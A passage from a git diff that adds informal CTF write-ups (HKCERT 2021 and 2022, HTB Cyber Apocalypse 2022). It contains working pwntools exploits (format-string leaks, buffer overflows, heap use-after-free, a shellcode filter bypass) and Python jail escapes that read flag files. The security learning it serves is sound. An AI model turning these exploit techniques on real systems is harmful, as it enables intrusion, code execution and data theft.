+@True.real.__rsub__ +@license._Printer__filenames.__getitem__ +@str.isascii +@str + +#* +@license._Printer__filenames.append +@True.real.__rsub__ +@True.real.__rsub__ +@True.real.__rsub__ +@True.real.__rrshift__ +@license._Printer__filenames.__getitem__ +@str.isnumeric +@str + +#[ +@license._Printer__filenames.append +@True.real.__add__ +@True.real.__rlshift__ +@True.real.__add__ +@True.real.__rlshift__ +@True.real.__rlshift__ +@True.real.__add__ #True.real == 1, with which we can make arbitrary numbers with by running functions on it +@len +@object.__name__.__add__ +@str + +@list.clear #clear it +@license._Printer__filenames.__iadd__ #we dont really care we just need the list reference +@str +class room: ... +``` \ No newline at end of file diff --git a/ctfs/comments/hkcert21.md b/ctfs/comments/hkcert21.md new file mode 100644 index 0000000..ec15843 --- /dev/null +++ b/ctfs/comments/hkcert21.md @@ -0,0 +1,228 @@ +### jq playground + +mainly just messing around with parameters and option orders to read file - i figured this out 5 mins after the competition ended lol ` echo '{}' | jq '--raw-output' -R -n '[inputs] | add' '/flag'` by changing POST data options to include `--raw-output` `-R` `-n` `[inputs] | add` and filter to be `/flag`, json can be anything (i chose `{}`) + +### all missing +pyjail using builtins dict for persistence, and `__class__`, `__base__`, and `__subclasses__` to dig until `FileIO` is found (`#!py ().__class__.__base__.__subclasses__().__getitem__(92).__subclasses__().__getitem__(0).__subclasses__().__getitem__(0)('flag.txt').readall()`) + +(also see pyjail2 for `The Remaining One`) + +### the remaining one +```py +$ nc chalp.hkcert21.pwnable.hk 28005 +__builtins__ +{} +__builtins__.update({0:().__class__}) +None +__builtins__.update({0:__builtins__.get(0).__base__}) +None +__builtins__.update({0:__builtins__.get(0).__subclasses__}) +None +__builtins__.update({0:__builtins__.get(0)()}) +None +__builtins__.update({0:__builtins__.get(0).__getitem__}) +None +__builtins__.update({0:__builtins__.get(0)(92)}) +None +__builtins__.update({0:__builtins__.get(0).__subclasses__}) +None +__builtins__.update({0:__builtins__.get(0)()}) +None +__builtins__.update({0:__builtins__.get(0).__getitem__}) +None +__builtins__.update({0:__builtins__.get(0)(0)}) +None +__builtins__.update({0:__builtins__.get(0).__subclasses__}) +None +__builtins__.update({0:__builtins__.get(0)()}) +None +__builtins__.update({0:__builtins__.get(0).__getitem__}) +None +__builtins__.update({0:__builtins__.get(0)(0)}) +None +__builtins__.get(0)('flag.txt').readall() +b'hkcert21{cr0sS_namesP4se__builtin__breaK_the_JAIL}\n' +``` + +### 回到12歲 / scratch-tic-tac-toe + +they used a comment note to hide the flag comparison codes, and caesar cipher that i rewrote in python and reversed +```py +#sanity check +chars = r"abcdefghijklmnopqrstuvwxyz0123456789{}_" + +ans = "hkcert" + +result = "" +for i in range(0, len(ans)): + result = result + chars[(chars.index(ans[i]) + 18) % len(chars) + 1] + +print(result) + +#solve +result = r"03vx{_ihq0xhh7svtx}t{sv180x{r" + +result2 = "" +for i in range(0, len(result)): + result2 = result2 + chars[(chars.index(result[i]) - 18) % len(chars) - 1] + +print(result2) +``` + +### shuffle +brute force checker with python: +```py +import random + +flag = '' +out = b'p\xbcl\xf0Y3C#\xf5\xf8\xb0\xe6\x98%\x17\xaf\xa8\x1d\xf1\x19\xb3i\x9aj\x1e\xccx\xb7F\xea\xfa]\r\xf1X\xc1\x8e\xee' + +for i in range(0, 38): + for s in r'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789{} _'.encode(): + print("checking " + chr(s) + " on " + str(i) + " char") + random.seed(38) + output = b'' + testflag = (flag + chr(s)).encode() + for c in testflag: + #print(chr(c)) + m = bin(c)[2:].rjust(8, '0') + #print(m) + res = list(map(int, m)) + #print(res) + random.shuffle(res) + shuffled = int(''.join(map(str, res)), 2) + output += bytes([shuffled]) + if out[i] == output[i]: + flag += chr(s) + print(flag) + break +``` + +### timebomb +written in .NET core C#, cant use dnspy so i copied the decompiled code from ilspy and pasted to an online compiler and modified to get the flag lmao + +### scattered + +`strings` binary where they obfuscated all the strings - i didnt bother to figure out the logic, so i just patched one of the functions that unobfuscates the first string (id 1) to unobfuscate the flag (id 0, right in front of the first string reference) by changing the offsets instead lmfao + +### the hardest path +"lost" - literally sha collision (`sha256checkprefix.py`) and graph searching `lostcheck.py` (literally cpsc 110 stuff lmfao structural recursion with accumulators) - cant just use any of the paths either since it would stack overflow if its not the shortest path + +`sha256checkprefix.py` (basically modified from online): +```py +#!/usr/bin/env python3 +import datetime +import multiprocessing +import hashlib +import base64 +import sys + +def computesha(process_number, number_of_processes, max_counter, results): + counter = process_number # every process starts with a different counter + data = base64.b64decode('vy0TXkmfC+U=') + + while counter < max_counter: #stop after max_counter jobs have been started + counterb = str(counter).encode() + newHash = hashlib.sha256(data + counterb).digest() + if newHash.startswith(b'\x00\x00\x00'): + print(str(newHash)) + print(str(counter)) + b = base64.b64encode(counterb).decode() + print(b) + + # return the results through a queue + results.put((str(newHash), str(counter), base64.b64encode(str(counter).encode()).decode())) + counter += number_of_processes # 'jump' to the next chunk + +if __name__ == '__main__': + # execute this file with two command line arguments: + number_of_processes = 8 #int(sys.argv[1]) + max_counter = 100000000 #int(sys.argv[2]) + + # this queue will be used to collect the results after the jobs finished + results = multiprocessing.Queue() + + processes = [] + # start a number of processes... + for i in range(number_of_processes): + p = multiprocessing.Process(target=computesha, args=(i, + number_of_processes, + max_counter, + results)) + p.start() + processes.append(p) + + # ... then wait for all processes to end + for p in processes: + p.join() + + # collect results + while not results.empty(): + print(results.get()) + results.close() +``` + +`lostcheck.py` (full file is too big - it's directly modified from `lost.py`): +```py +import os +import sys +import inspect + +mystery = 'NEWS' + +sys.setrecursionlimit(2000) #must have or else we wont get all the possible paths + +def _29aa7a86665899ed(visited, indexes): raise NameError('😵‍💫💫🧱') + +def _f42fb5e137443877(_a78810bb76cc7d70, *_ab1bbf35017f4f42): + def wrap(visited, indexes): + + if _a78810bb76cc7d70: #if true - reached jackpot + s = '' + for i in indexes: + s += mystery[i] + print(s) + with open('lost.txt', 'a') as f: f.write(s + "\n\n\n") + with open('visited.txt', 'a') as f: f.write(str(list(zip(visited, indexes))) + "\n\n\n\n\n") + raise TypeError("success trace:") + + for i in range(0, len(_ab1bbf35017f4f42)): + try: + + if _ab1bbf35017f4f42[i] in visited: + continue + + #print("visited: " + str(visited) + "trying: " + _ab1bbf35017f4f42[i]) + + visitedcopy = visited.copy() + visitedcopy.append(_ab1bbf35017f4f42[i]) + indexescopy = indexes.copy() + indexescopy.append(i) + + return globals()[_ab1bbf35017f4f42[i]](visitedcopy, indexescopy) + except NameError as e: + continue + except RuntimeError as e: + continue + except RecursionError as e: + continue + except TypeError as e: #allow getting of all possible paths even though we signified end of branch through raise + continue + raise RuntimeError("exhausted") + return wrap +``` + +### infant browser + +i ask the bot to download a `test.desktop` file using xdg-open and run it using `file:///tmp/test.desktop` to ping my website `despawningbone.me` so i get the flag in the url in the logs - except i fetched the file from nextcloud originally and the file name mustve been different lmao + +`catbox.moe` worked well though + + +### lets chill +theres a html generator thing (`index.html`) - the data is coded but the parser is way too slow; i used node and a lot of general code optimizations and got to `hkcert21{l3t5_ch1ll_4nd_w4` but thats not the full flag sad + +(a long while after the ctf i realized we literally guessed one character off (`hkcert21{l3t5_ch1ll_4nd_w4it_f0r_th3_fl4g}`) from the actual flag lmao `hkcert21{l3t5_ch1ll_4nd_w41t_f0r_th3_f14g}`) + +### because i said it +this one is colliding the php 0e magic hash too but couldnt generate the hash fast enough with python and gave up - my teammate did it with his homelab tho so very nice \ No newline at end of file diff --git a/ctfs/comments/hkcert22.md b/ctfs/comments/hkcert22.md new file mode 100644 index 0000000..16149b4 --- /dev/null +++ b/ctfs/comments/hkcert22.md @@ -0,0 +1,403 @@ +### echo + +format string leak and format string overwrite + +https://hackmd.io/@blackb6a/hkcert-ctf-2022-i-en-3f8a9ef6#%E6%B2%99%E7%94%B0%E5%A4%A7%E6%9C%83%E5%A0%82--echo-Pwn + +then buffer overflow with scanf and flag + +had to relearn how `%n` work for a bit lmao forgot from maplectf alr + +`hkcert22{d0_U_KNOW_fmt_str1ng_att4ck}` + +```py +from pwn import * +from pwnlib.util.packing import * + +io = remote('chal.hkcert22.pwnable.hk', 28037) +#io = process('chall') +elf = ELF('./chall') + +# leak canary +payload0 = b'%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p||%p' +io.sendlineafter(b'Input:\n', payload0) + +# import time +# time.sleep(5) + +# now the canary is leak on screen, script to get the canary value +canary = int(io.recvline().split(b'||')[1], 16) + +# leak address +payload1 = b'%p' +io.sendlineafter(b'Input:\n', payload1) + +# now the address is leak on screen, script to get the leaked address +leaked_address = int(io.recvline(), 16) +pie_base = leaked_address - (0x563bab54d061 - 0x0000563BAB54B000) +canLeave = pie_base + elf.symbols['can_leave'] +getShell = pie_base + elf.symbols['get_shell'] + +# overwrite canLeave to non-Zero +io.sendlineafter(b'Input:\n', b'A'*8+p64(canLeave)) #i still cant figure out how to read from stack in the same payload sadge gotta ask jason again +payload2 = b'A%7$n' +io.sendlineafter(b'Input:\n', payload2) + +# Calling system (in get_shell function) requires stack be aligned. +# Add ret_gadget (to add rsp by 8) before calling get_shell to align the stack. +ret_gadget = getShell + 25 +len_of_input_before_canary = 0x68 +payload3 = (b'a' * len_of_input_before_canary) + p64(canary) + p64(0) + p64(ret_gadget) + p64(getShell) +print(payload3) +io.sendlineafter(b':\n', payload3) +io.sendlineafter(b':\n', b'--') + +io.interactive() +``` + +### echo2 + +puts no null terminator leak + +need to leak canary libc and pie + +pie and canary reachable since buffer 16 bytes bigger than needed, but libc out of range + +that is until i realized the buffer wasnt initialized to 0 and had libc addresses in it already lmao + +buffer overflow, ret to one gadget and flag `hkcert22{A_51NNple_pWn_f0r_w4rm_UP}` + +```py +from pwn import * +from pwnlib.util.packing import * + +io = remote('chal.hkcert22.pwnable.hk', 28045) +#io = process('echo2') +elf = ELF('./echo2') + +io.sendafter(b'Input:\n', b'A'*8) +libc = int.from_bytes(io.recvline()[8:14], byteorder='little') - (ELF('./libc-2.31.so').symbols['_IO_2_1_stdout_']) +print("libc base:", hex(libc)) + + +io.sendafter(b'Input:\n', b'A'*105) +next = io.recvline() +canary = b'\0' + next[105:104+8] #canaries always have lower byte being 00 +print("canary:", canary.hex()) +stack = int.from_bytes(next[104+8:104+14], byteorder='little') - (0x7FFEFE44FFA0 - 0x7FFEFE44FF10) #base of buffer; ignore the last 2 bytes since its always 00 +print("stack:", hex(stack)) + +import time +time.sleep(8) + +io.sendafter(b'Input:\n', b'A'*104 + b'A'*16) #cant send canary yet but doesnt matter +pie = int.from_bytes(io.recvline()[104+16:104+22], byteorder='little') - 0x12DE #again ignore the last bytes +print("pie:", hex(pie)) + + + +#from one_gadget +sh = libc + 0xe6c81 +io.sendafter(b'Input:\n', b'A'*104 + canary + b'A'*8 + p64(sh)) #cant send canary yet but doesnt matter + +io.sendafter(b'Input:\n', b'--\0') + +io.interactive() +``` + +### clipboard + +volatility clipboard (`./vol.py -f "Windows 7 x64.mem" --profile=Win7SP1x64 clipboard`) + +got not much data so `-v` + +originally thought its broken coz volatility freezes but then a huge chunk of text got spewed out + +searching gives rtf headers + +copy bytes, write to file with python, get flag in image after opening the rtf file + +`hkcert22{f0r3ns1c_1s_fun_t0_pl4y_w1th}` + +### uaf + +learn glibc fastbin on the fly + +realize user controlled malloc can screw up bin stack to reuse animal chunk + +overwrite with get_shell and uaf to get shell + +`hkcert22{w3L1C0me_70_World_0f_pwN_h34P_z0o}` + +```py +from pwn import * + +#p = process(['strace', './zoo']) + +#p = process(['ld', '--library-path', '.', './zoo']) +#p = process('./zoo') +p = remote('chal.hkcert22.pwnable.hk', 28235) + +g = cyclic_gen() + +#the chunk we wanna uaf +p.sendlineafter('> ', b'1') +p.sendlineafter('> ', b'1') +p.sendlineafter('> ', b'24') +p.sendlineafter('> ', b'abcd'*(24//4)) + +#put another chunk onto LIFO fastbin with name not in the same bin +p.sendlineafter('> ', b'1') +p.sendlineafter('> ', b'1') +p.sendlineafter('> ', b'32') +p.sendlineafter('> ', b'efgh'*(32//4)) + + +#free the chunk for uaf +#now in 0x18 bin: +#name0 +#animal0 +#(other bins are empty) +p.sendlineafter('> ', b'2') +p.sendlineafter('> ', b'0') + +#free the chunk for screwing up the bin +#now in 0x18 bin: +#name0 +#animal0 +#animal1 +#in it in order (bottom is last in) +#now in 0x20 bin: +#name1 +p.sendlineafter('> ', b'2') +p.sendlineafter('> ', b'1') + +#now we can reuse the other animal's chunk AND the uaf chunk since we are looking at the 0x18 bin +#since if you look above its double animal on the LIFO bin when we pop +p.sendlineafter('> ', b'1') +p.sendlineafter('> ', b'1') +p.sendlineafter('> ', b'24') +p.sendlineafter('> ', p64(0x401276)+b'a'*16) + +# import time +# time.sleep(8) + +#trigger uaf +p.sendlineafter('> ', b'3') +p.sendlineafter('> ', b'0') + +p.interactive() +``` + +### stop peeping + +mpeg-ts + +use plugin to dump + +realize a part of it is corrupt + +opening spectrogram in sonic visualizer gives nothing either + +give up + +realize its 2 mpeg-ts streams after coming back + +extract the shorter non rickroll one and open it in spectrogram + +yay flag `hkcert22{n3v3r_g0nn4_g1v3_y0u_up_3xtr4ct_mp3_fr0m_pcap}` + + +### jumping fish + +wireshark pcap (i think i just looked at strings actually but shh lmao) + +see noise encryption format + +search up noise + +understand how noise works + +search up snow + +find snow::Builder (example from docs) + +realize psk is static and keypair isnt + +reimplement in python + +didnt work so try responder and initiator mode all fails + +realize packet has length field that python noise didnt implement (talking with harrier tells me its not related to snow) + +implement that too + +obtain payload from [@kaiziron](https://ctftime.org/user/92369) for `fiddle crab` which didnt work for this somehow but at least the response tells me my encryption and handshake stuff is implemented correctly + +tried nextchessmove.com, even more confusion + +eventually realized state is `0 1` at the end, turn is `b/w` near the end + +send [@kaiziron](https://ctftime.org/user/92369)'s payload with the right turn and win flag + +`hkcert22{t0o-much-n01s33333-d0-u_u3e_d3bugggg3r-0r-p33k-in70-n01s3?}` yes i peek into the noise :sunglasses: + +```py +from pwn import * + +from noise.connection import NoiseConnection, Keypair +from itertools import cycle +from cryptography.hazmat.primitives.asymmetric import x25519 +from cryptography.hazmat.primitives import serialization + +p = remote('chal.hkcert22.pwnable.hk', 28147) + +#p.recvuntil(b'\0\x25') +p.recvuntil(b"Noise_XXpsk3_25519_ChaChaPoly_BLAKE2s") + +# Create instance of NoiseConnection, set up to use NN handshake pattern, Curve25519 for +# elliptic curve keypair, ChaCha20Poly1305 as cipher function and SHA256 for hashing. +proto = NoiseConnection.from_name(b'Noise_XXpsk3_25519_ChaChaPoly_BLAKE2s') +kp = x25519.X25519PrivateKey.generate() +proto.set_keypair_from_private_bytes(Keypair.STATIC, private_bytes=kp.private_bytes(serialization.Encoding.Raw,serialization.PrivateFormat.Raw, serialization.NoEncryption())) + +#from rust snow impl - generate keypair so i generated, psk is static key, initiator mode +proto.set_psks(b'lol_what_is_this_secret_thing??!') +proto.set_as_initiator() +proto.start_handshake() + +p.send(b'\0\x30') #need size apparently which isnt implemented in this library but is in snow? +p.send(proto.write_message()) +p.recvn(2) #recv size and discard +proto.read_message(p.recv(2048, timeout=0.5)) +p.send(b'\0\x40') +p.send(proto.write_message()) + + +#while True: + #fen = input().encode().strip() #cant send newline either +fen = b'7k/6Q1/8/8/5P2/6R1/PPPPP1PP/RNB1KBN1 b Q - 0 1' #seems like they only track current round and whose turn? +print(fen) +msg = proto.encrypt(fen) +p.send(len(msg).to_bytes(2, byteorder='big')) +p.send(msg) +p.recvn(2) #recv length +print(proto.decrypt(p.recv())) +``` + +### weeepark uaf2 + +learn tcache on the fly + +realize its only 7 chunks long (which means if we overflow to fastbin after that we get an odd number that we can overwrite with) + +no `get_shell` anymore, so need to somehow get shell + +one gadget is hard to use coz no libc address + +can use system in plt (no PIE), but need sh string in rdi + +which means we need to leak heap chunk address to get sh string that we write ourselves + +which is conveniently also in the binary with no PIE (zoo struct global var) + +debugger to figure out the pointers and chunks that got overwriten, inject as found + +shell and flag woo `hkcert22{zoo_z00_z0o_ZO0_ZoO_z11}` + +```py +from pwn import * +from one_gadget import generate_one_gadget + +context.binary = ELF('./zoo2') + +#p = process(['strace', './zoo2']) +#p = process('./zoo2') +p = remote('chal.hkcert22.pwnable.hk', 28236) + +g = cyclic_gen() + +def alloc(): + p.sendlineafter('> ', b'1') + p.sendlineafter('> ', b'1') + p.sendafter('> ', b'abcd'*(0x18//4)) + +def free(i): + p.sendlineafter('> ', b'2') + p.sendlineafter('> ', str(i).encode()) + +#alloc enough chunks +for i in range(10): + alloc() + +#exhaust tcache +for i in range(9): + free(i) + + +#leak heap payload from known address (our binary) +p.sendlineafter('> ', b'1') +p.sendlineafter('> ', b'1') +p.sendafter('> ', p64(0x401276)+b'a'*8+p64(0x4040C8+8*1)) #get our payload's heap addr - 1st element should be pointing at our system payload to be added + +p.sendlineafter('> ', b'3') +p.sendlineafter('> ', b'2') + + +p.recvuntil('added to zone 10') +p.recvuntil('(0-9)\n') +p.recvuntil(': ') + +addr = int.from_bytes(p.recvline().strip(), byteorder='little') +print("ADDR", hex(addr)) + +#system payload +p.sendlineafter('> ', b'1') +p.sendlineafter('> ', b'1') +p.sendafter('> ', p64(0x401120)+ b'sh\0'+ b'a'*5 +p64(addr+8)) #get our payload's heap addr offset by 8 for the system pointer + +# import time +# time.sleep(8) + +#trigger uaf +p.sendlineafter('> ', b'3') +p.sendlineafter('> ', b'1') + +p.interactive() + +``` + +### shellcode runner 2 + +give up after realizing all existing upper encoders are x86 only + +come back near the end of the ctf to realize the upper check function loops through with strlen but uses `read` to read bytes from stdin, which means we can null terminate and then still run the non alphanumeric payload at the end + +find a sequence of instructions that works with null bytes - `add BYTE PTR [rax], al` is exactly `00 00` and is basically a nop coz rax has `0x1337000` which is a valid readable address + +flag `hkcert22{d41d8cd98f00b204e9800998ecf8427e33a}` + +```py +from pwn import * +from pwnlib.encoders.encoder import * +import pwnlib.shellcraft + +context.binary = ELF('./shellrunner') + +payload = shellcraft.sh() + + +print(payload) + +#p = context.binary.process() + +p = remote('chal.hkcert22.pwnable.hk', 28130) + +# import time +# time.sleep(7) + +#prepend add BYTE PTR [rax], al which does nothing since rax is at a valid readable address and we overwrite afterwards anyway +#this breaks the upper check since that iterates over the string with strlen() and we used read to read from stdin which aint affected +p.send(b'\0\0' + asm(payload)) +p.interactive() +``` \ No newline at end of file diff --git a/ctfs/comments/htbcyberapoc22.md b/ctfs/comments/htbcyberapoc22.md new file mode 100644 index 0000000..ed3a5b9 --- /dev/null +++ b/ctfs/comments/htbcyberapoc22.md @@ -0,0 +1,665 @@ +### snakecode + +main issue is python 2.7 tbh was a pain in the ass trying to get the marshalled code into pyc + +had to search real hard on stack overflow lol + +decompile the pyc file they gave with `pycdc` as usual, which yields us a file with a ton of base64 encoded data which is marshal loaded - all zlib compressed aside from `ll` which is the initial load lambda + +turn that marshal'd lambda into a pyc file itself by appending pyc header accordingly, and write a script to decompile every one of them (or hook the `ll` function to do that for you lol) +```py +def dump(s): + global i + with open('test' + str(i) + '.pyc', 'wb') as fc: + i += 1 + fc.write('\0\0\0\0') + py_compile.wr_long(fc, long(time.time())) + marshal.dump(marshal.loads(zlib.decompress(s.decode('base64'))), fc) + fc.flush() + fc.seek(0, 0) + fc.write(py_compile.MAGIC) + +ll = dump +``` + +turns out the decompiled lambda assigned to a3 already has the entire flag in it so i didnt have to merge + +but i did it before realizing lol so heres the script +```py +import os + + +with open('snakecodemerge.py', 'w') as merge: + for f in os.listdir('.'): + if f.endswith('.py'): + lines = ['def ' + f[:-3] + "():\n"] + with open(f, 'r') as py: + lines += [' ' + l for l in py.readlines()] + merge.writelines(lines) + merge.writelines(['\n']) +``` + + +### automation + +[@Ray](https://maplebacon.org/authors/Ray/) did the initial analysis - `windowsliveupdater.com` is the controllers domain which means anything from it is sus + +turns out `desktop.png` from it is the powershell code for accepting commands and exfiltrating data, which is base64 encoded and tagged `image/png` + +was gonna decompile it one by one using hand to find the flag, but it ended up being way too much so i reimplemented the powershell code flow into a script to get both the commands and the exfiltrated output from the initial response's answers and the queries after that + +hey at least now i (kinda) know how to automate pcap analysis lmao + +`scapy` still hard to use tbh +```py +from scapy.all import * +from Crypto.Cipher import AES +import base64 + +pcap = rdpcap('capture.pcap') + +key = 'a1E4MUtycWswTmtrMHdqdg==' #from powershell + + +print('commands\n\n') + + +#we only want the initial ping which retrieves the commands which is initiated by a query to the base domain name +for packet in [pkt for pkt in pcap if DNS in pkt and pkt[IP].src == '147.182.172.189' and pkt[DNS].qd.qname == b'windowsliveupdater.com.']: + for i in range(packet[DNS].ancount): + cmd = base64.b64decode(packet[DNS].an[i].rdata[0]) + cipher = AES.new(base64.b64decode(key), AES.MODE_CBC, cmd[:16]) + print(cipher.decrypt(cmd[16:])) +#name of DefaultUsr is part 1 - base64 decode it + + +print('\n\noutputs\n\n') + + +merge = [] +output = b'' + +#subdomain is used to exfiltrate chunks of output as hex to the dns server +for packet in [pkt for pkt in pcap if DNS in pkt and (pkt[IP].dst == '147.182.172.189')]: + query = packet[DNS].qd.qname.split(b'.') + if len(query) == 4 and query[0] != b'start' and query[0] != b'end': + part = bytes.fromhex(query[0].decode()) + output += part + if query[0] == b'end': + #print(output) + merge += [output] + output = b'' + +#print('\n\ndecrypting...\n\n') + +for output in merge: + if output: + cipher = AES.new(base64.b64decode(key), AES.MODE_CBC, output[:16]) + print(cipher.decrypt(output[16:])) +``` + + +### shuffleme + +line ctf `service` chall in linux - spotted it when i saw `LD_BIND_NOT` in main and tried to patch it away so that i can run without that set, which freezes the program + +so something was definitely wrong with that param being needed to disable sth, and turns out that env var is for disabling .got/.plt editing + +which means its likely that theres some altered import table shenanigans that needs to be preserved when the program boots and the import loads + +so i tried tracing the first few imported functions and yep they are indeed mismatched from what IDA shows + +and so i just started manually tracing every single one of the functions and mapping it into IDA for easier analysis lol + +it gets extremely slow when it reached `extract_blob` though which means i cant get the code after that without patching + +and thats what i did - i patched the size to 0 for both of the calls to extract_blob so the loop doesnt even run at all + +and now i can move to the functions after extract_blob and map those out + +i got bored and mapped out all of the function signatures after getting the names lol + +also renamed and retyped a lot of vars so the decompiled c code looks really nice + +though honestly just the name is probably enough to reverse the logic lol + +coz with the functions out of the way the logic is actually quite simple + +it extracts the key and encrypted data from the blobs using `extract_blob`, and put it through `blackhole` which uses evp encrypt(for some reason???) to "decrypt" the data into the flag, then compares it with our input and says yes/no accordingly + +and the only reason why `extract_blob` is so slow is coz they use threads to try matching a byte every 4 bytes using `/dev/urandom` in `get_bytes` which is completely unnecessary + +maybe it was to deter ppl like me who maps it dynamically but ha bin patching ftw + +well i guess if there wasnt that "guard" ppl would be able to trivially obtain the flag at the end of `blackhole` dynamically anyways lol + +either way everything afterwards is trivial to reimplement in python lol + +so heres the script +```py +from Crypto.Cipher import AES + +data = [ +0x7, 0x58, 0x0DE, 0x39, 0x55, 0x72, 0x0F1, 0x0F8, 0x0C5, 0x7B, 0x0E5, 0x53, 0x7A, +0x39, 0x54, 0x60, 0x53, 0x6E, 0x0C5, 0x22, 0x0D9, 0x0CA, 0x80, 0x84, 0x3E, 0x0D0, +0x0A9, 0x15, 0x0EF, 0x26, 0x39, 0x10, 0x0CC, 0x16, 0x0A1, 0x62, 0x0E9, 0x1B, 0x0C, +0x0F6, 0x39, 0x0A3, 0x1F, 0x0BC, 0x7C, 0x0EE, 0x0E9, 0x0C6, 0x0A8, 0x78, 0x0C6, +0x9A, 0x0A2, 0x0C, 0x2C, 0x3A, 0x66, 0x0E0, 0x9A, 0x21, 0x8F, 0x58, 0x11, 0x0D3, +0x66, 0x82, 0x38, 0x65, 0x56, 0x3D, 0x0DC, 0x2D, 0x3A, 0x4B, 0x34, 0x0CD, 0x17, 0x0A6, +0x35, 0x82, 0x84, 0x46, 0x11, 0x9F, 0x0BD, 0x89, 0x0D8, 0x24, 0x0F5, 0x51, 0x0DA, +0x0D7, 0x2A, 0x64, 0x0F1, 0x0C, 0x4B, 0x39, 0x61, 0x0F0, 0x0CA, 0x1E, 0x37, 0x0D8, +0x25, 0x66, 0x0FF, 0x0D4, 0x5A, 0x82, 0x38, 0x0BE, 0x2D, 0x3B, 0x5F, 0x0AF, 0x87, +0x88, 0x58, 0x37, 0x0A0, 0x51, 0x88, 0x12, 0x8A, 0x0CE, 0x5D, 0x0B0, 0x4, 0x3E, 0x9B, +0x47, 0x94, 0x0E1, 0x9C, 0x5A, 0x0D2, 0x8, 0x0E8, 0x37, 0x72, 0x1B, 0x60, 0x99, 0x0E, +0x9F, 0x93, 0x0B4, 0x0B7, 0x5A, 0x42, 0x35, 0x0C6, 0x0E5, 0x48, 0x0AC, 0x0F9, 0x0BE, +0x0C, 0x14, 0x0F9, 0x0AE, 0x58, 0x3B, 0x0CD, 0x2F, 0x0A1, 0x2C, 0x91, 0x0EE, 0x1A, +0x82, 0x0E, 0x0EE, 0x50, 0x9, 0x22, 0x1C, 0x54, 0x6D, 0x90, 0x41, 0x56, 0x15, 0x0FC, +0x43, 0x0BD, 0x0A6, 0x15, 0x69, 0x0, 0x0A7, 0x0E6, 0x26, 0x65, 0x87, 0x0D2, 0x0E2, +0x8A, 0x92, 0x49, 0x59, 0x0E6, 0x1D, 0x6A, 0x0EA, 0x0B4, 0x65, 0x74, 0x0E8, 0x0B8, +0x74, 0x38, 0x0C0, 0x7F, 0x0A, 0x86, 0x7E, 0x1D, 0x0F5, 0x0DB, 0x80, 0x0BD, 0x54, +0x0CA, 0x0E7, 0x0E1, 0x41, 0x0E, 0x31, 0x89, 0x1C, 0x0BD, 0x66, 0x19, 0x79, 0x7C, +0x68, 0x0B6, 0x2B, 0x9C, 0x0A0, 0x0A8, 0x91, 0x0E1, 0x7B, 0x4D, 0x0E3, 0x57, 0x4F, +0x1E, 0x0F, 0x0F0, 0x5D, 0x0F4, 0x9, 0x44, 0x44, 0x31, 0x0F3, 0x59, 0x0E4, 0x8B, +0x0A6, 0x5A, 0x0D7, 0x0C, 0x0AD, 0x10, 0x94, 0x7C, 0x0A3, 0x1B, 0x0A5, 0x36, 0x97, +0x0D4, 0x37, 0x22, 0x1B, 0x6F, 0x92, 0x0B1, 0x0D8, 0x33, 0x25, 0x0E7, 0x52, 0x0E8, +0x33, 0x0AD, 0x0D5, 0x95, 0x34, 0x57, 0x74, 0x0C3, 0x81, 0x78, 0x12, 0x82, 0x6D, +0x0F0, 0x41, 0x67, 0x6A, 0x0A9, 0x64, 0x96, 0x0D8, 0x0E2, 0x31, 0x0B6, 0x0F7, 0x0FA, +0x0FF, 0x61, 0x7A, 0x92, 0x0CC] + + +key = [ +0x30, 0x0D3, 0x38, 0x0C2, 0x6C, 0x1, 0x21, 0x9F, 0x3, 0x0E2, 0x6E, 0x9, 0x7C, 0x0A, 0x81, +0x78, 0x45, 0x0E4, 0x0B3, 0x74, 0x0B0, 0x7A, 0x84, 0x0CD, 0x41, 0x11, 0x29, 0x29, +0x32, 0x19, 0x0DD, 0x16, 0x0C0, 0x0A7, 0x0E9, 0x9F, 0x0C3, 0x9B, 0x32, 0x44, 0x0A7, +0x0D1, 0x0B8, 0x89, 0x0B0, 0x3E, 0x97, 0x0E5, 0x7F, 0x8F, 0x0FC, 0x72, 0x72, 0x0E3, +0x92, 0x0E9, 0x0CD, 0x1A, 0x1D, 0x0D7, 0x94, 0x5C, 0x92, 0x41, 0x75, 0x0D9, 0x5E, +0x27, 0x8F, 0x3B, 0x0B7, 0x42, 0x49, 0x8E, 0x0D7, 0x0EE, 0x8B, 0x0DF, 0x40, 0x70, +0x0B1, 0x37, 0x7, 0x37, 0x0D8, 0x6, 0x0EA, 0x0A7, 0x3A, 0x0C0, 0x0AC, 0x5A, 0x3, 0x0A6, +0x7B, 0x7A, 0x0D4, 0x0C1, 0x54, 0x0C3, 0x2F, 0x1, 0x0F6, 0x4D, 0x0A4, 0x3F, 0x0A3, +0x0F0, 0x49, 0x98, 0x0E, 0x0CE, 0x91, 0x17, 0x0AF, 0x40, 0x59, 0x2F, 0x0C7, 0x8D, +0x27, 0x8, 0x5D, 0x31, 0x0E7, 0x0A, 0x2C, 0x0A5] + +def extract(blob): + ret = bytes([]) + for i in range(0, len(blob), 4): + ret += bytes([blob[i]]) + return ret + +cipher = AES.new(extract(key), AES.MODE_CBC, b'\0'*16) +print(cipher.decrypt(extract(data))) +``` + +ngl this chall is arguably easier than line ctf's one lol and iirc `service` is tagged warmup while this one is 3/4 stars + +tfw the difficulty between ctfs differs this much lmao + + +### nuts and bolts + +rust whew + +i first looked into how xor and reverse works coz those we dont have sources for + +then i thought hey why not figure out how the storagemethod struct works first + +it seemed like theres 1 byte padding + 32/64 bytes data as specified by the storagemethod size then a 7 byte padding + +then i realized the padding is not 0 which means its actually set somewhere + +and upon closer look it actually is set in both xor and reverse so i wondered what pattern there might be + +looking closer to the array in `output.txt` it looks like theres 44 bytes that looks like 11 ints prepended as padding before the actual data + +wait 10 ints all being 1 or 2, with the last int being 0 - would that possibly be an indicator of what method (xor or reverse) was used in that iteration, since there is 10 iterations and 1 initialization? + +so i whipped up a script to test it out even though i couldnt get a good understanding on the xor and reverse functions yet coz the pattern looks too outstanding for me to overlook +```py +from Crypto.Cipher import AES + +key = bytes([2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0, 1, 0, 0, 0, 2, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 2, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 101, 19, 249, 222, 49, 245, 116, 246, 138, 161, 222, 65, 116, 18, 61, 227, 218, 154, 107, 172, 132, 119, 92, 126, 137, 33, 97, 243, 195, 200, 118, 12]) +flag = bytes([2, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 